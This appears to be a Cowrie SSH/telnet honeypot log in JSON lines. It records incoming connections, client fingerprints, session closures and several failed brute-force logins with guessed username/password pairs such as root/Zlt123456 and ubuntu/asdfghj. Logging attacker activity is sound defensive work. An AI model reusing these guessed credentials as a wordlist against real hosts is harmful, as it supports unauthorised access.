{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:12.645234Z","src_ip":"118.193.33.81","session":"01c8da0b1ba9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"max","message":"login attempt [root/max] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:13.533830Z","src_ip":"118.193.33.81","session":"01c8da0b1ba9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:14.756087Z","src_ip":"118.193.33.81","session":"01c8da0b1ba9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":37635,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9695350813d","protocol":"ssh","message":"New connection: 81.30.162.19:37635 (159.203.135.109:22) [session: f9695350813d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:19.412432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:19.416676Z","src_ip":"81.30.162.19","session":"f9695350813d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:19.537258Z","src_ip":"81.30.162.19","session":"f9695350813d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456jJ","message":"login attempt [root/123456jJ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:20.051568Z","src_ip":"81.30.162.19","session":"f9695350813d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:21.175352Z","src_ip":"81.30.162.19","session":"f9695350813d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00197005271912,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:22.139124Z","src_ip":"187.88.74.212","session":"4fdc18179913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00147223472595,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:24.365612Z","src_ip":"187.88.74.212","session":"348ba59967d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":59434,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ee5bc7e6b6","protocol":"ssh","message":"New connection: 210.79.142.221:59434 (10.17.0.5:22) [session: b2ee5bc7e6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:31.436566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:31.440958Z","src_ip":"210.79.142.221","session":"b2ee5bc7e6b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:31.683401Z","src_ip":"210.79.142.221","session":"b2ee5bc7e6b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfghj","message":"login attempt [ubuntu/asdfghj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:32.683995Z","src_ip":"210.79.142.221","session":"b2ee5bc7e6b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:33.929763Z","src_ip":"210.79.142.221","session":"b2ee5bc7e6b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40256,"dst_ip":"159.203.135.109","dst_port":22,"session":"b74baf32983d","protocol":"ssh","message":"New connection: 159.203.92.129:40256 (159.203.135.109:22) [session: b74baf32983d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:35.396092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:35.400729Z","src_ip":"159.203.92.129","session":"b74baf32983d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:35.405088Z","src_ip":"159.203.92.129","session":"b74baf32983d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antao","password":"123","message":"login attempt [antao/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:35.416813Z","src_ip":"159.203.92.129","session":"b74baf32983d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:36.421986Z","src_ip":"159.203.92.129","session":"b74baf32983d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.13647532463074,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:51.033119Z","src_ip":"185.26.126.47","session":"f353fe3632c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"196.177.181.15","src_port":41292,"dst_ip":"10.17.0.5","dst_port":23,"session":"62fba2663e7a","protocol":"telnet","message":"New connection: 196.177.181.15:41292 (10.17.0.5:23) [session: 62fba2663e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:35:55.347240Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":58768,"dst_ip":"159.203.135.109","dst_port":22,"session":"372c3f5d1d28","protocol":"ssh","message":"New connection: 157.7.113.83:58768 (159.203.135.109:22) [session: 372c3f5d1d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:06.737240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:06.742546Z","src_ip":"157.7.113.83","session":"372c3f5d1d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:06.899906Z","src_ip":"157.7.113.83","session":"372c3f5d1d28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":39362,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3110fbce8bc","protocol":"ssh","message":"New connection: 118.193.33.81:39362 (159.203.135.109:22) [session: c3110fbce8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:07.503217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:07.517845Z","src_ip":"118.193.33.81","session":"c3110fbce8bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv%TGB6yhn","message":"login attempt [root/!QAZ2wsx#EDC4rfv%TGB6yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:07.560281Z","src_ip":"157.7.113.83","session":"372c3f5d1d28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:07.737092Z","src_ip":"118.193.33.81","session":"c3110fbce8bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zlt123456","message":"login attempt [root/Zlt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:08.599464Z","src_ip":"118.193.33.81","session":"c3110fbce8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:08.721139Z","src_ip":"157.7.113.83","session":"372c3f5d1d28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.814971685409546,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:09.162066Z","src_ip":"196.177.181.15","session":"62fba2663e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:09.819887Z","src_ip":"118.193.33.81","session":"c3110fbce8bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":46205,"dst_ip":"159.203.135.109","dst_port":22,"session":"bad1daef54b5","protocol":"ssh","message":"New connection: 81.30.162.19:46205 (159.203.135.109:22) [session: bad1daef54b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:12.810271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:12.814808Z","src_ip":"81.30.162.19","session":"bad1daef54b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:12.931409Z","src_ip":"81.30.162.19","session":"bad1daef54b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cl123456.","message":"login attempt [root/Cl123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:13.430640Z","src_ip":"81.30.162.19","session":"bad1daef54b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:14.550448Z","src_ip":"81.30.162.19","session":"bad1daef54b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49492,"dst_ip":"159.203.135.109","dst_port":22,"session":"53b08503da29","protocol":"ssh","message":"New connection: 159.203.92.129:49492 (159.203.135.109:22) [session: 53b08503da29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:21.607428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:21.615673Z","src_ip":"159.203.92.129","session":"53b08503da29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:21.620401Z","src_ip":"159.203.92.129","session":"53b08503da29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antao","password":"123456","message":"login attempt [antao/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:21.632496Z","src_ip":"159.203.92.129","session":"53b08503da29","protocol":"ssh"}
